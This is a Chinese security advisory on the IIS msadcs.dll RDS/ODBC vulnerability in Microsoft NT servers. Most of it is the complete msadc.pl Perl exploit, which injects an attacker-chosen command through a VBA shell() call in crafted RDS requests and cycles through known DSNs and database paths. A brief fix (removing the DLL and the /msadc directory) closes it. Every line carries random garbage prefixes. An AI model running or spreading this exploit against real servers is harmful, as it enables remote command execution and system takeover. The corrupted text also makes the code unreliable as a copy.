IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
lPAQ3t!, _7y[B&g[r 涉及程序:
buHJB*?9 Microsoft NT server
$3kH~3{] 7F~X,Dk_ 描述:
<9b&<K: 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
es0hm2HT3 sV*H`N')S 详细:
wVtwx0|1 如果你没有时间读详细内容的话,就删除:
ChQxa c:\Program Files\Common Files\System\Msadc\msadcs.dll
Lu%b9Jk 有关的安全问题就没有了。
G=bCNn< [()koU#w. 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
7F.4Ga; .*Qx\, 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
YuwI&)l 关于利用ODBC远程漏洞的描述,请参看:
|;{6&S 7_[L o4_ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >=w)x,0yX 2MK-5Kg 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
dlnX_+((KC http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^xk'Z K)iF>y|{*q 这里不再论述。
;<4a*;IO &BSn? 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
:b!s2n!u X"*5+* z] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
AbOf6%Env 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
RPbZ(. +aAc9'k I5W~g.<6 #将下面这段保存为txt文件,然后: "perl -x 文件名"
;5AcFB xD=csJ'( #!perl
?Z} &EH #
EKN~H$. # MSADC/RDS 'usage' (aka exploit) script
\z ) %$#I #
JK]PRDyD # by rain.forest.puppy
%@Jsal' #
MnHNjsO# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
N6TH}~62} # beta test and find errors!
/g.U&oI]D .fs3>@T"# use Socket; use Getopt::Std;
7uk[Oy<_ getopts("e:vd:h:XR", \%args);
UC$ppTCc? yWf`rF{ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zKK9r~ M HK%7g if (!defined $args{h} && !defined $args{R}) {
l%=; print qq~
MpOc Usage: msadc.pl -h <host> { -d <delay> -X -v }
V]?R>qhgu -h <host> = host you want to scan (ip or domain)
l}P=/#</T -d <seconds> = delay between calls, default 1 second
u$`a7Lp,n -X = dump Index Server path table, if available
9jGu}Vo -v = verbose
-F3-{E -e = external dictionary file for step 5
EiaW1Cs wdoR%b{M Or a -R will resume a command session
qxJ\ye+'* .X;K%J2 ~; exit;}
J9 I:Q<; *=xr-!MEk $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
_','9| if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
c1gQ cqF if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
DW3G if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
og>uj>H& $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
f,Ghb~y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!TcJ)0
bN=P*hdf if (!defined $args{R}){ $ret = &has_msadc;
[PbOfxxgA die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$Z>'Jp 7PF%76TO print "Please type the NT commandline you want to run (cmd /c assumed):\n"
51.%;aY~z . "cmd /c ";
5E
<kwi $in=<STDIN>; chomp $in;
:fJN->wY^s $command="cmd /c " . $in ;
/Gfw8g\} q0\6F^;M if (defined $args{R}) {&load; exit;}
@KUWxFak = WJNWt> print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
`QY)!$mUIF &try_btcustmr;
;GD]dW# 8JUwf print "\nStep 2: Trying to make our own DSN...";
4`=mu}Y2 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`qwBn= +W+|%qM,\ print "\nStep 3: Trying known DSNs...";
{Hk}Kow &known_dsn;
<\S:'g"(
W!(LF7_! print "\nStep 4: Trying known .mdbs...";
>KKMcTOYY &known_mdb;
!1b;F*H FE;x8(;W8 if (defined $args{e}){
uvS)8-o&F print "\nStep 5: Trying dictionary of DSN names...";
E<*xx#p &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
S`]k>'
l "J3x_~,[4m print "Sorry Charley...maybe next time?\n";
,v}k{( 16{ exit;
[1H^3g
' ijU*|8n{> ##############################################################################
\lNN Msd& M"To&?OI sub sendraw { # ripped and modded from whisker
|e0`nn= sleep($delay); # it's a DoS on the server! At least on mine...
/_ajaz% my ($pstr)=@_;
A+?`?pOm& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Uoix die("Socket problems\n");
2 8u_!f[ if(connect(S,pack "SnA4x8",2,80,$target)){
h
zn6kbv select(S); $|=1;
Ssg&QI print $pstr; my @in=<S>;
YZJyk:H\ select(STDOUT); close(S);
9-m=*|p return @in;
GsM<2@? } else { die("Can't connect...\n"); }}
0C,`h` ,MIV=* ##############################################################################
7 Fsay+a @9|hMo sub make_header { # make the HTTP request
PeEj&4k my $msadc=<<EOT
U,1-A=Og{o POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
={Qi0Pvt User-Agent: ACTIVEDATA
J<lO=
+mg Host: $ip
oe~b}: Content-Length: $clen
q-d:TMkc Connection: Keep-Alive
Y`wSv NU 7E!5G2XX~~ ADCClientVersion:01.06
cQ_Hp
<D Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"5$B>S(Q UJ6v(:z< --!ADM!ROX!YOUR!WORLD!
eb$#A _m Content-Type: application/x-varg
~WV"SaA)*U Content-Length: $reqlen
&PtJ$0%q JOBhx)E EOT
[z9Z5sLO ; $msadc=~s/\n/\r\n/g;
'@P^0+B!(. return $msadc;}
KJZ4AWH` +m,yA mEEd ##############################################################################
2^yU ~`# iO;
7t@]- sub make_req { # make the RDS request
,~W|]/b<q my ($switch, $p1, $p2)=@_;
FJ?IUy 6 my $req=""; my $t1, $t2, $query, $dsn;
Q#zmf24W _v]MsT-q if ($switch==1){ # this is the btcustmr.mdb query
\xoP)Ub> $query="Select * from Customers where City=" . make_shell();
u\nh[1)a) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
^pk7"l4Xm $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<p"iY}x[H z*)T%p elsif ($switch==2){ # this is general make table query
"g8M0[7e3 $query="create table AZZ (B int, C varchar(10))";
r",GC] $dsn="$p1";}
sCHJ&>m5- Q&bM\;Ml elsif ($switch==3){ # this is general exploit table query
]e@Oiq $query="select * from AZZ where C=" . make_shell();
Pk)1WK7E $dsn="$p1";}
-A!%*9Z 7Hu3>4< elsif ($switch==4){ # attempt to hork file info from index server
geCM<] $query="select path from scope()";
K",N!koj $dsn="Provider=MSIDXS;";}
r]36zX v k"w"hg&e elsif ($switch==5){ # bad query
k|d+#u[Mj@ $query="select";
$* Kvc$D $dsn="$p1";}
wLr_-vJ jW@Uo=I[ $t1= make_unicode($query);
}RqK84K $t2= make_unicode($dsn);
>[*qf9$ $req = "\x02\x00\x03\x00";
*c+ (- $req.= "\x08\x00" . pack ("S1", length($t1));
<c/5b]No $req.= "\x00\x00" . $t1 ;
h 9W^[6 $req.= "\x08\x00" . pack ("S1", length($t2));
/&94 eC $req.= "\x00\x00" . $t2 ;
,zY$8y] $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
'uEl~> l7 return $req;}
2jhxQL 1|wL\I ##############################################################################
f&
' N] sAji* sub make_shell { # this makes the shell() statement
I,8Er2;) return "'|shell(\"$command\")|'";}
C;urBsC uGlUc<B\* ##############################################################################
q'82qY HHsmLo c4 sub make_unicode { # quick little function to convert to unicode
P";'jVcR my ($in)=@_; my $out;
wD)XjX for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
~e@z;]CiY return $out;}
TRq6NB "9e\c;a ##############################################################################
L;I]OC^J sLQ^F sub rdo_success { # checks for RDO return success (this is kludge)
8X|-rM{ my (@in) = @_; my $base=content_start(@in);
G'A R`"F if($in[$base]=~/multipart\/mixed/){
0"bcdG<} return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ea')$gR return 0;}
C3YT1tK w`zTR0` ##############################################################################
E^eVvP4uC@ ixD)VcD-f sub make_dsn { # this makes a DSN for us
CzEd8jeh7 my @drives=("c","d","e","f");
kPLxEwl print "\nMaking DSN: ";
oILZgNe' foreach $drive (@drives) {
+; AZ+w]ZF print "$drive: ";
Y0-n\| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
@I!0-OjL "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
LSr]S79N1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
~R92cH>L $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
,\%c^,HLJ return 0 if $2 eq "404"; # not found/doesn't exist
)I.$=s if($2 eq "200") {
B0]~el foreach $line (@results) {
6,{$J return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
0KOgw*>_ } return 0;}
/s}}&u/ G<v&4/\p`M ##############################################################################
~M4; %8~NqS|= sub verify_exists {
ZExlGC my ($page)=@_;
TbW38\>.R my @results=sendraw("GET $page HTTP/1.0\n\n");
jtc]>]6i return $results[0];}
NHZz _a= 9mTJ|sN:e ##############################################################################
hZ ;MdlwQ$` sub try_btcustmr {
_zi| my @drives=("c","d","e","f");
WEi2=3dV my @dirs=("winnt","winnt35","winnt351","win","windows");
@2 fg~2M1 E09:E foreach $dir (@dirs) {
iAIuxO print "$dir -> "; # fun status so you can see progress
| h#u^v3 foreach $drive (@drives) {
W|63Ir67 print "$drive: "; # ditto
7E~;xn; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
fS78>*K $reqlenlen=length( "$reqlen" );
Z}Ft:7 $clen= 206 + $reqlenlen + $reqlen;
W v+?TEP A{D];pE` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Fy-t T]Q9 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
HRfYl,S, else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
wEvVL ?+}_1x` ##############################################################################
'AS|ZRr/ xYpd: Sm sub odbc_error {
k_nql8H my (@in)=@_; my $base;
E#N|wq my $base = content_start(@in);
ZX./P0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`&c kZiq $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]|PiF+ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_^%,x $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(M.&^w;`, return $in[$base+4].$in[$base+5].$in[$base+6];}
N64dO[op print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
3m!X/u print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
VQ9/Gxdeo $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
n[Y~] 5uj?#)N ##############################################################################
);&:9[b_ H%Q7D- sub verbose {
;u46Z my ($in)=@_;
l?n\i]' return if !$verbose;
JO6)-U$7UG print STDOUT "\n$in\n";}
|imM#wF hy"\RW ##############################################################################
}*pi<s <k'h:KB?` sub save {
1ztG;\ my ($p1, $p2, $p3, $p4)=@_;
:(*V?WI open(OUT, ">rds.save") || print "Problem saving parameters...\n";
K:#I print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*d4eK+U$5 close OUT;}
\\B(r XYOC_.f1 ##############################################################################
VY=jc~c]v h^(*Tv-! sub load {
+E(L \ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
= x)-u8P open(IN,"<rds.save") || die("Couldn't open rds.save\n");
DAr1C+Dy
@p=<IN>; close(IN);
'$]97b7G $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
>$/>#e~ $target= inet_aton($ip) || die("inet_aton problems");
mLLDE;7|} print "Resuming to $ip ...";
XW)lDiJl $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
!Pfr,a if($p[1]==1) {
Vd+T$uC $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
C{xaENp $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
^EQ<SCh my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
F8,RXlGfA[ if (rdo_success(@results)){print "Success!\n";}
,G?WAOy, else { print "failed\n"; verbose(odbc_error(@results));}}
h_,i&d@( elsif ($p[1]==3){
j@3Q;F0ba if(run_query("$p[3]")){
q\4Xs$APq print "Success!\n";} else { print "failed\n"; }}
9W1YW9rL elsif ($p[1]==4){
DgQpHF if(run_query($drvst . "$p[3]")){
+.b,AqJ/ print "Success!\n"; } else { print "failed\n"; }}
.2Elr(&*h exit;}
b&N'C9/8 9x9 T<cx ##############################################################################
u(F_oZ~ 9ZsVy sub create_table {
w4{<n/" my ($in)=@_;
U,{eHe ?>T $reqlen=length( make_req(2,$in,"") ) - 28;
%axh`xK# $reqlenlen=length( "$reqlen" );
U}rU~3N $clen= 206 + $reqlenlen + $reqlen;
\aUC(K~o\; my @results=sendraw(make_header() . make_req(2,$in,""));
V1`o%;j return 1 if rdo_success(@results);
4ber!rJM my $temp= odbc_error(@results); verbose($temp);
G+"t/?/ return 1 if $temp=~/Table 'AZZ' already exists/;
IT7wT+ return 0;}
J~zUp(>K */^q{PsN ##############################################################################
;dtA4:IRZ4 /}fHt^2H sub known_dsn {
{{D)YldtA # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
*-=(Q`3 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
%i9E @EV "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
GxI!{oi2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
U}e!Wjrc S.94edQ foreach $dSn (@dsns) {
K6/Q}W print ".";
lH x^D;m6 next if (!is_access("DSN=$dSn"));
RYQR(v if(create_table("DSN=$dSn")){
t?-n*9,#S print "$dSn successful\n";
rv^@, 8vq if(run_query("DSN=$dSn")){
n&;85IF1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
TA`1U;c{n print "Something's borked. Use verbose next time\n";}}} print "\n";}
=_ ./~ (ybI\UI ##############################################################################
WwBOM~/`2 ;!mzyb* sub is_access {
L:pYn_ my ($in)=@_;
d *|Y
o $reqlen=length( make_req(5,$in,"") ) - 28;
L~rBAIdD $reqlenlen=length( "$reqlen" );
vrhT<+q $clen= 206 + $reqlenlen + $reqlen;
JPc+rfF my @results=sendraw(make_header() . make_req(5,$in,""));
8:c-k|CX my $temp= odbc_error(@results);
]}-7_n#cC verbose($temp); return 1 if ($temp=~/Microsoft Access/);
rq/yD,I, return 0;}
r6MMCJ|G ;4^Rx ##############################################################################
kHghPn?8] L_uVL#To sub run_query {
RXpw! my ($in)=@_;
rb2S7k0{ $reqlen=length( make_req(3,$in,"") ) - 28;
o WrKM $reqlenlen=length( "$reqlen" );
tqvN0vY5 $clen= 206 + $reqlenlen + $reqlen;
D9CaFu my @results=sendraw(make_header() . make_req(3,$in,""));
J6s`'gFns return 1 if rdo_success(@results);
t7dt*D_YqK my $temp= odbc_error(@results); verbose($temp);
4n!aW?% return 0;}
.9 on@S z0p*Z& ##############################################################################
X<` 6Z6'}BDP sub known_mdb {
x=hiQ>BIO0 my @drives=("c","d","e","f","g");
pMx*F@&nU my @dirs=("winnt","winnt35","winnt351","win","windows");
I {S;L my $dir, $drive, $mdb;
b9KP( _ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
HZzD VCU G_3O]BMKd) # this is sparse, because I don't know of many
iZ3IdiZ my @sysmdbs=( "\\catroot\\icatalog.mdb",
/7nb,!~~l "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
3nIU1e "\\system32\\certmdb.mdb",
fo*2:?K& "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
H1pO!>M /yDz/>ID\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
J{p1|+h% "\\cfusion\\cfapps\\forums\\forums_.mdb",
6y%qVx#! "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
c)TPM/>(p "\\cfusion\\cfapps\\security\\realm_.mdb",
#zv3b[@ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
"/*\1v9 "\\cfusion\\database\\cfexamples.mdb",
N
,'GN[s "\\cfusion\\database\\cfsnippets.mdb",
B4c]}r+ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{7"Q\ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
n/;WxnnQ "\\cfusion\\brighttiger\\database\\cleam.mdb",
]_mb7X> "\\cfusion\\database\\smpolicy.mdb",
=r?hgGWe "\\cfusion\\database\cypress.mdb",
|C;=-| "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
AW%#O\N "\\website\\cgi-win\\dbsample.mdb",
(Y.k8";)` "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
G\/zkrxmv "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Zw
26 ); #these are just
n71r_S* foreach $drive (@drives) {
l[mWf foreach $dir (@dirs){
6"LcJ%o foreach $mdb (@sysmdbs) {
U2tV4_ e print ".";
&Cq`Y !y if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
75cW_t,g print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
{NmWQyEv if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T6y\| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
'Vzp2 } else { print "Something's borked. Use verbose next time\n"; }}}}}
EA@.,7F i^X]j foreach $drive (@drives) {
xBThq?N? foreach $mdb (@mdbs) {
zsEc( print ".";
9|^2",V if(create_table($drv . $drive . $dir . $mdb)){
{k>&?Vd! print "\n" . $drive . $dir . $mdb . " successful\n";
<$A if(run_query($drv . $drive . $dir . $mdb)){
q~b& print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
. oF
&Ff/[ } else { print "Something's borked. Use verbose next time\n"; }}}}
|sJ[0z }
vjbASFF0= f
O}pj: ##############################################################################
guq{#?} mDA:nx%5< sub hork_idx {
|k )=0mCz print "\nAttempting to dump Index Server tables...\n";
}Sm(]y print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
lK?uXr7^ $reqlen=length( make_req(4,"","") ) - 28;
LiC*@W $reqlenlen=length( "$reqlen" );
YiXk5B0Uh $clen= 206 + $reqlenlen + $reqlen;
2RVN\?s: my @results=sendraw2(make_header() . make_req(4,"",""));
7X`g,b! if (rdo_success(@results)){
m4[ ;(1 my $max=@results; my $c; my %d;
vONasD9At for($c=19; $c<$max; $c++){
-P(efYk $results[$c]=~s/\x00//g;
+xh`Q=A $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
L4@K~8j7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
B?eCe}*f;B $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
0JWDtmK=C $d{"$1$2"}="";}
!j8FIY'[ foreach $c (keys %d){ print "$c\n"; }
wjU9ZGM } else {print "Index server doesn't seem to be installed.\n"; }}
GL>O4S<` afCW(zHp ##############################################################################
yJ[0WY8<kC QGMV}y sub dsn_dict {
G*?8MTP8![ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
a(m2n.0'> while(<IN>){
e[{0)y>= $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
fF!Yp iI" next if (!is_access("DSN=$dSn"));
`[y^ :mj if(create_table("DSN=$dSn")){
NJ%P/\ C print "$dSn successful\n";
+C^nO=[E if(run_query("DSN=$dSn")){
_>o:R$ %} print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
w1FcB$ print "Something's borked. Use verbose next time\n";}}}
+r print "\n"; close(IN);}
u4*BX& 3<e=g)F ##############################################################################
Yj<a"
Gr4[ k90YV( sub sendraw2 { # ripped and modded from whisker
vOH4# sleep($delay); # it's a DoS on the server! At least on mine...
XnH05LQ my ($pstr)=@_;
3p$?,0ELH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0.Q
Ujw die("Socket problems\n");
%HhBt5w if(connect(S,pack "SnA4x8",2,80,$target)){
,5P0S0*{ print "Connected. Getting data";
[CTnXb open(OUT,">raw.out"); my @in;
+WZX.D select(S); $|=1; print $pstr;
xS5vbJ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
9sM!`Lz{ close(OUT); select(STDOUT); close(S); return @in;
.y'>[ } else { die("Can't connect...\n"); }}
c^5~QGuQ vJLK,[ ##############################################################################
s2a{>II6 {Ea
b
j sub content_start { # this will take in the server headers
xf'V{9* my (@in)=@_; my $c;
"-E\[@/ for ($c=1;$c<500;$c++) {
&.F4b~A7 if($in[$c] =~/^\x0d\x0a/){
`{8K.(])s! if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
1;* cq else { return $c+1; }}}
<q)# return -1;} # it should never get here actually
K$z2YJ% }t!Gey ##############################################################################
HRpte=`q $o!zUH~'v sub funky {
Q*GN`07@?d my (@in)=@_; my $error=odbc_error(@in);
nF}vw |r>x if($error=~/ADO could not find the specified provider/){
%J}xg^+f print "\nServer returned an ADO miscofiguration message\nAborting.\n";
NYhB'C2 exit;}
Q@= Q0 if($error=~/A Handler is required/){
H[T?\Lq print "\nServer has custom handler filters (they most likely are patched)\n";
d.aS{;pse exit;}
s `e{}\ if($error=~/specified Handler has denied Access/){
PgAf\.48a print "\nServer has custom handler filters (they most likely are patched)\n";
pP1|&`}ux exit;}}
,S\CC{! S0$8@"~= ##############################################################################
y1z4ik)Sd@ ufj,T7g^ sub has_msadc {
AI2~Jp my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
[=C6U_vU my $base=content_start(@results);
v<k?Vu return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
; cNv\t return 0;}
y-Fo=y ^ G]J ,+ ########################
-$\y_?} J@`1TU mb1FWy=3 解决方案:
aI'&O^w+ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
>[)7U _|p 2、移除web 目录: /msadc